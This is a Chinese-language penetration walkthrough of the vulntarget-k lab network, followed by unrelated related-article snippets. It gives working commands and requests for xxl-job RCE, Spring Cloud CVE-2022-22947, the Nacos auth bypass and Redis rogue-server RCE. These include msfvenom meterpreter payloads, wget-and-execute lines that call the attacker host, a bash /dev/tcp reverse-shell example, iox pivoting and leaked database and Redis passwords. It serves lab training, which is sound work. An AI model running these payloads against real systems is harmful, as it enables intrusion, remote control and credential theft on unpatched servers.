vulntarget-k - 内网渗透

标签

xxl-job rce

Spring-Cloud-CVE-2022-22947

nacos auth bypass

iox

靶机难度比较简单,都是用用 exp 就好了

拓扑图

网卡设置

首先需要使用虚拟网络编辑器,增加 VMnet1、VMnet2、VMnet3

对三张网卡设置子网 IP

VMnet1
192.168.100.0
VMnet2
192.168.88.0
VMnet3
10.30.7.106

如遇到不能启动虚拟机,将 靶机名字.vmx,如 xxl-job.vmx 文件第四行更改

更改 xxl-job 虚拟机网卡,将桥接改为 VMnet3

攻击机 kali 也需要将桥接改为 VMnet3

当靶机全都开起来以后,可以做个快照,这样出问题就可以直接恢复快照了

Recon

对目标 10.30.7.106 做端口扫描,结果如下

PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
8081/tcp open  blackice-icecap
9999/tcp open  abyss

其中,访问 8080、8081 端口显示 404,目录扫描无结果

当访问 9999 端口时候,显示 {"code":500,"msg":"invalid request, HttpMethod not support."}

扫描目录也没有结果

所以能看到的信息只有这样一句话{"code":500,"msg":"invalid request, HttpMethod not support."} ,搜索得到

xxl-job

漏洞利用

获取 meterpreter shell

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.30.7.128 LPORT=1234 --platform linux -f elf -o xxl

python 开启临时 http 服务用于传输木马

python3 -m http.server 80

开启监听

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp 
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > run

使用 burp 发送下面的数据包

POST /run HTTP/1.1
Host: 10.30.7.106:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 393{"jobId": 1,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "wget 10.30.7.128/xxl -O /tmp/.xxl;chmod +x /tmp/.xxl;/tmp/.xxl","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}

得到 shell,权限为 root

meterpreter > shell
Process 1572 created.
Channel 1 created.
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:0c:29:c6:13:b0 brd ff:ff:ff:ff:ff:ffinet 10.30.7.106/21 brd 10.30.7.255 scope global ens33valid_lft forever preferred_lft foreverinet6 fe80::20c:29ff:fec6:13b0/64 scope link valid_lft forever preferred_lft forever
3: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:0c:29:c6:13:ba brd ff:ff:ff:ff:ff:ffinet 192.168.100.20/24 brd 192.168.100.255 scope global ens37valid_lft forever preferred_lft foreverinet6 fe80::20c:29ff:fec6:13ba/64 scope link valid_lft forever preferred_lft forever
whoami
root

此处可以看到目标靶机为双网卡,还有另一个网段

接下来做 socks 代理,搜集内网存活主机

spring-cloud-geteway

横向移动

主机发现

for k in $( seq 1 255);do ping -c 1 192.168.100.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

得到

192.168.100.50

socks 代理

1、kali 使用 python 开启临时 http 服务

python3 -m http.server 80

2、kali 开启监听

./iox proxy -l 9991 -l 1080

3、将 iox 下载至入口机

wget 10.30.7.128/iox
chmod +x iox
./iox proxy -r 10.30.7.128:9991 &

完成 socks 代理搭建

对 100.50 使用 fscan 扫描

得到漏洞信息

proxychains4 ./fscan_amd64 -h 192.168.100.50 -socks5 127.0.0.1:1080
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4___                              _    / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.8.2
Socks5Proxy: socks5://127.0.0.1:1080
start infoscan
192.168.100.50:8848 open
192.168.100.50:8800 open
192.168.100.50:22 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://192.168.100.50:8848 code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle: http://192.168.100.50:8800 code:503 len:292    title:None
[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos 
[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] http://192.168.100.50:8800 Spring-Cloud-CVE-2022-22947 
[+] http://192.168.100.50:8800 poc-yaml-spring-actuator-heapdump-file 
[+] http://192.168.100.50:8800 poc-yaml-springboot-env-unauth spring2
已完成 3/3
[*] 扫描结束,耗时: 16.92195982s

漏洞利用 移动至 100.50

从扫描结果可以发现,100.50 只开放了 2 个端口,且两个端口都有漏洞

在 github 找到 Spring-Cloud-CVE-2022-22947 漏洞利用脚本

验证

proxychains4 python3 22947.py http://192.168.100.50:8800
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16___ _ __  _ __(_)_ __   __ _        ___| | ___  _   _  __| |      ___  __ _ 
/ __| '_ \| '__| | '_ \ / _` |_____ / __| |/ _ \| | | |/ _` |_____/ __|/ _` |
\__ \ |_) | |  | | | | | (_| |_____| (__| | (_) | |_| | (_| |_____\__ \ (_| |
|___/ .__/|_|  |_|_| |_|\__, |      \___|_|\___/ \__,_|\__,_|     |___/\__, ||_|                 |___/                                             |_|_ ____   ____ _____ ___| |  _ \ / ___| ____|/ _ \ | |_) | |   |  _|  
|  __/ |  _ <| |___| |___ \___|_|_| \_\____|_____|Usage: python3 CVE-2022-22947.py url
(If you want to get the reverse shell,please input: shell)Please input your commond: id
---------------------------------------
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
The commond result is : Result = 'uid=0(root) gid=0(root) groups=0(root)']

命令执行有回显

接下来获取 shell

Spring-Cloud-CVE-2022-22947 获取 meterpreter 会话

由于 100.50 和 3.x 网端是不通的,所以需要在入口机器 xxl-job 做端口转发,且生成的木马需要传输至 xxl-job

1、在 xxl-job 中使用 iox 开启端口转发

./iox fwd -l 2211 -r 10.30.7.128:1235 &

2、生成木马

msfvenom -p linux/x64/meterpreter/reverse_tcp  LHOST=192.168.100.20 LPORT=2211 --platform linux -f elf -o springcloud-re-2211 

3、下载木马至入口机器 xxl-job

wget 10.30.7.128/springcloud-re-2211
--2023-01-11 06:35:13--  http://10.30.7.128/springcloud-re-2211
Connecting to 10.30.7.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: 'springcloud-re-2211'0K                                                       100% 43.5M=0s2023-01-11 06:35:13 (43.5 MB/s) - 'springcloud-re-2211' saved [250/250]python3 -m http.server 1337
exit
meterpreter > bg
[*] Backgrounding session 1...

4、开启监听

[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set LPORT 1235
LPORT => 1235
msf6 exploit(multi/handler) > run

5、运行 exp

proxychains4 python3 22947.py http://192.168.100.50:8800
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16___ _ __  _ __(_)_ __   __ _        ___| | ___  _   _  __| |      ___  __ _ 
/ __| '_ \| '__| | '_ \ / _` |_____ / __| |/ _ \| | | |/ _` |_____/ __|/ _` |
\__ \ |_) | |  | | | | | (_| |_____| (__| | (_) | |_| | (_| |_____\__ \ (_| |
|___/ .__/|_|  |_|_| |_|\__, |      \___|_|\___/ \__,_|\__,_|     |___/\__, ||_|                 |___/                                             |_|_ ____   ____ _____ ___| |  _ \ / ___| ____|/ _ \ | |_) | |   |  _|  
|  __/ |  _ <| |___| |___ \___|_|_| \_\____|_____|Usage: python3 CVE-2022-22947.py url
(If you want to get the reverse shell,please input: shell)Please input your commond: shell
---------------------------------------
Please input your commond for reverse shell , such as ("bash -i >& /dev/tcp/192.168.190.177/5000 0>&1"): 
wget 192.168.100.20:1337/springcloud-re-2211 -O /tmp/.springcloud-re-2211;chmod +x /tmp/.springcloud-re-2211;/tmp/.springcloud-re-2211
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK

6、得到 springcloud 主机 shell

rumsf6 exploit(multi/handler) > run[*] Started reverse TCP handler on 10.30.7.128:1235 
[*] Sending stage (3045348 bytes) to 10.30.7.106
[*] Meterpreter session 2 opened (10.30.7.128:1235 -> 10.30.7.106:39446) at 2023-01-11 01:36:09 -0500meterpreter > shell
Process 2199 created.
Channel 1 created.
whoami && ip a
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:0c:29:8c:96:21 brd ff:ff:ff:ff:ff:ffinet 192.168.100.50/24 brd 192.168.100.255 scope global ens33valid_lft forever preferred_lft foreverinet6 fe80::20c:29ff:fe8c:9621/64 scope link valid_lft forever preferred_lft forever
3: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:0c:29:8c:96:2b brd ff:ff:ff:ff:ff:ffinet 192.168.88.60/24 brd 192.168.88.255 scope global ens37valid_lft forever preferred_lft foreverinet6 fe80::20c:29ff:fe8c:962b/64 scope link valid_lft forever preferred_lft forever

8848 nacos 未授权

通过 fscan 的漏洞扫描结果,可以看到 8848 端口还开着一个网站,且有公开漏洞

利用步骤

1、使用 curl 发 POST 请求

proxychains4 curl -X POST http://192.168.100.50:8848/nacos/v1/auth/users\?username=test\&password=test
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8848  ...  OK
{"code":200,"message":"create user ok!","data":null} 

2、通过网页登录,测试成功

在 admin-api、redis-task 中得到一些凭据

spring:datasource:druid:url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=falseusername: rootpassword: Pabc@234%!redis:host: 0.0.0.0password: nbsg@123456port: 6379databases: 0,1,2,3,4,5,6,7timeout: 60000

三层代理

对 100.50 的利用以及差不多了,接下来移动至 88.x 段

for k in $( seq 1 255);do ping -c 1 192.168.88.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

得到 192.168.88.70

socks 代理

# kali
./iox proxy -l 9992 -l 10801
# xxl-job
./iox fwd -l 9992 -r 10.30.7.128:9992
# springcloud
./iox proxy -r 192.168.100.20:9992

redis

proxychains4 python3 redis-rce.py -r 192.168.88.70  -L 10.30.7.128 -f module.so -a "nbsg@123456"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄   
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀  
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄    
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀ █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀   ▀                                     ▀                   [*] Connecting to  192.168.88.70:6379...
[proxychains] Strict chain  ...  127.0.0.1:10801  ...  192.168.88.70:6379  ...  OK
[*] Sending SLAVEOF command to server
[+] Accepted connection from 127.0.0.1:10801
[*] Setting filename
[+] Accepted connection from 127.0.0.1:10801
[*] Start listening on 10.30.7.128:21000
[*] Tring to run payload
[-] Error: timed out, exit
[*] Clean up..

由于网段不通,还需要做端口转发

# springcloudgeteway 
./iox fwd -l 21000 -r 192.168.100.20:8882
# xxl-job
./iox fwd -l 8882 -r 10.30.7.128:21000

再次运行 redis-rce.py

proxychains4 python3 redis-rce.py -r 192.168.88.70  -L 192.168.88.60 -P 21000  -f module.so -a "nbsg@123456"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄   
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀  
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄    
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀ █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀   ▀                                     ▀                   [*] Connecting to  192.168.88.70:6379...
[proxychains] Strict chain  ...  127.0.0.1:10801  ...  192.168.88.70:6379  ...  OK
[*] Sending SLAVEOF command to server
[+] Accepted connection from 127.0.0.1:10801
[*] Setting filename
[+] Accepted connection from 127.0.0.1:10801
[*] Start listening on 192.168.88.60:21000
[*] Tring to run payload
[+] Accepted connection from 10.30.7.106:40740
[*] Closing rogue server...[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
[+] Interactive shell open , use "exit" to exit...
$ cat /root/flag
flag{good_redis}

至此完成靶机渗透,得到三台机器 root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/744285.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EM算法详解

EM(Expectation-Maximum)算法也称期望最大化算法,曾入选“数据挖掘十大算法”中,可见EM算法在机器学习、数据挖掘中的影响力。EM算法是最常见的隐变量估计方法,在机器学习中有极为广泛的用途,例如常被用来学习高斯混合模型(Gaussian mixture model,简称GMM)的参数;隐…

SIP-7043 20W SIP网络有源吸顶喇叭

SIP-7043 20W SIP网络有源吸顶喇叭 一、描述 18123651365微信 声卡喊话IP喇叭&#xff0c;IP网络吸顶天花喇叭 SIP-7043VP是我司的一款SIP网络有源吸顶喇叭&#xff0c;具有10/100M以太网接口&#xff0c;内置有一个高品质扬声器&#xff0c;将网络音源通过自带的功放和喇叭…

jpg格式图片怎么生成二维码?扫码看图在线制作方法

多张jpg格式的图片如何做成二维码展示&#xff1f;jpg是现在最常用的一种图片格式&#xff0c;不管是拍摄的照片、设计图片或是其他类型的图片基本上都是这种格式。那么如何将jpg格式的图片放到二维码中展示呢&#xff1f;通过下面的文章内容来分享一下图片制作二维码在线的技巧…

scrcpy远程投屏控制Android

下载 下载后解压压缩包scrcpy-win64-v2.4.zip scrcpy连接手机 1. 有线连接 - 手机开启开发者选项&#xff0c;并开启USB调试&#xff0c;连接电脑&#xff0c;华为手机示例解压scrcpy&#xff0c;在scrcpy目录下打开终端&#xff0c;&#xff08;或添加scrcpy路径为环境变…

前端面试题 ===> 【HTML】

HTML面试题总结 1. 对 HTML 语义化的理解 去掉或者丢失样式的时候能够让页面呈现出清晰的结构&#xff1b;代码结构清晰&#xff0c;方便团队的管理和维护&#xff0c;并且语义化更具有可读性&#xff0c;减少差异化&#xff1b;提升用户体验&#xff1b; 例如&#xff1a;ti…

【数组】41. 缺失的第一个正数【困难】

缺失的第一个正数 给你一个未排序的整数数组 nums &#xff0c;请你找出其中没有出现的最小的正整数。请你实现时间复杂度为 O(n) 并且只使用常数级别额外空间的解决方案。 示例 1 输入&#xff1a;nums [1,2,0]输出&#xff1a;3 示例 2 输入&#xff1a;nums [3,4,-1,…

同态滤波算法详解

同态滤波是一种用于增强图像的方法&#xff0c;特别适用于去除图像中的照明不均和阴影。该算法基于照射反射模型&#xff0c;将图像分解为两个分量&#xff1a;照射分量&#xff08;illumination component&#xff09;和反射分量&#xff08;reflection component&#xff09;…

精品基于Uniapp+ssm停车场预约缴费微信小程序的设计与实现

《[含文档PPT源码等]精品微信小程序基于Uniappssm停车场微信小程序的设计与实现》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程&#xff01; 软件开发环境及开发工具&#xff1a; 开发语言&#xff1a;Java 后台框架&#xff1a;ssm 安卓框架&…

Python打印输出Linux中最常用的linux命令之示例

一、Linux中的~/.bash_history文件说明&#xff1a; 该文件保存了linux系统中运行过的命令的历史。使用该文件来获取命令的列表&#xff0c;并统计命令的执行次数。统计时&#xff0c;只统计命令的名称&#xff0c;以不同参数调用相同的命令也视为同一命令。 二、示例代码&am…

csp模拟题(201604-2,俄罗斯方块模拟下坠)

题目 问题描述 俄罗斯方块是俄罗斯人阿列克谢帕基特诺夫发明的一款休闲游戏。   游戏在一个15行10列的方格图上进行&#xff0c;方格图上的每一个格子可能已经放置了方块&#xff0c;或者没有放置方块。每一轮&#xff0c;都会有一个新的由4个小方块组成的板块从方格图的上方…

一文掌握Python控制语句操作及实例详解

在 Python 中,控制语句是用于流程控制的重要工具,可以帮助我们根据不同的条件执行不同的代码块。本文将带你快速掌握 Python 中的控制语句操作,并通过实际例子让你更好地理解。 1. 条件控制语句:if-elif-else Python中的条件判断主要依赖于if,elif(else if)和else语句…

应急响应实战笔记03权限维持篇(6)

0x00 前言 在渗透测试中&#xff0c;有三个非常经典的渗透测试框架----Metasploit、Empire、Cobalt Strike。 那么&#xff0c;通过漏洞获取到目标主机权限后&#xff0c;如何利用框架获得持久性权限呢&#xff1f; 0x01 MSF权限维持 使用MSF维持权限的前提是先获得一个met…

蓝桥集训之正则问题

蓝桥集训之正则问题 核心思想&#xff1a;递归 归结到一棵树 向上返回x数量 #include<iostream>#include<cstring>using namespace std;int k;string str;int dfs(){int res0; //记录x数量while(k<str.size()){if(str[k] (){k ; //跳过左括号res dfs();k …

【C#】【SAP2000】OAPI文档案例详解

创建一个简单的结构模型,运行分析,提取结果,并将结果与手算值进行比较。 以下是详细的代码解析: 开头部分是一些using语句,引用了必要的命名空间,特别是SAP2000v1, 它包含了SAP2000 API的类和方法。 在Main方法中,首先定义了一些变量,用于控制是启动一个新的SAP2000实例还是附…

【JVM】Java虚拟机调优 配置启动参数

一、配置方式 options - JVM启动参数。 配置多个参数的时候&#xff0c;参数之间使用空格分隔 参数命名&#xff1a; 常见为 -参数名 参数赋值&#xff1a; 常见为 -参数名参数值 | -参数名:参数值 二、内存参数 -Xms:初始堆大小&#xff0c;JVM启动的时候&#xff0c;给定…

C++:vector类

vector的介绍及使用 1. vector 是表示可变大小数组的序列容器。 2. 就像数组一样&#xff0c; vector 也采用的连续存储空间来存储元素。也就是意味着可以采用下标对 vector 的元素进行访问&#xff0c;和数组一样高效。但是又不像数组&#xff0c;它的大小是可以动态改变的…

虾皮shopee根据ID取商品详情 API

公共参数 名称类型必须描述keyString是免费申请调用key&#xff08;必须以GET方式拼接在URL中&#xff09;secretString是调用密钥api_nameString是API接口名称&#xff08;包括在请求地址中&#xff09;[item_search,item_get,item_search_shop等]cacheString否[yes,no]默认y…

pxe安装mini centos系统

一、准备工作 1、关闭防火墙和selinux systemctl stop firewalld && systemctl disable firewalldsetenforce 02、配置静态ip 需要在dhcp里面填写tftp配置&#xff0c;所以需要固定ip 二、dhcp安装配置 作用&#xff1a;给客户端提供ip地址&#xff0c;并告诉客户…

html5cssjs代码 017样式示例

html5&css&js代码 017样式示例 一、代码二、解释 这段HTML代码定义了一个网页的基本结构&#xff0c;包括头部、主体和尾部。在头部中&#xff0c;设置了网页标题、字符编码和样式。主体部分包含一个标题和一个表格&#xff0c;表格内分为两个单元格&#xff0c;左侧为…

JAVA后端开发面试基础知识(九)——SpringBoot

启动原理 SpringBoot启动非常简单,因其内置了Tomcat,所以只需要通过下面几种方式启动即可: @SpringBootApplication(scanBasePackages = {"cn.dark"}) public class SpringbootDemo {public static void main(String[] args) {// 第一种SpringApplication.run(S…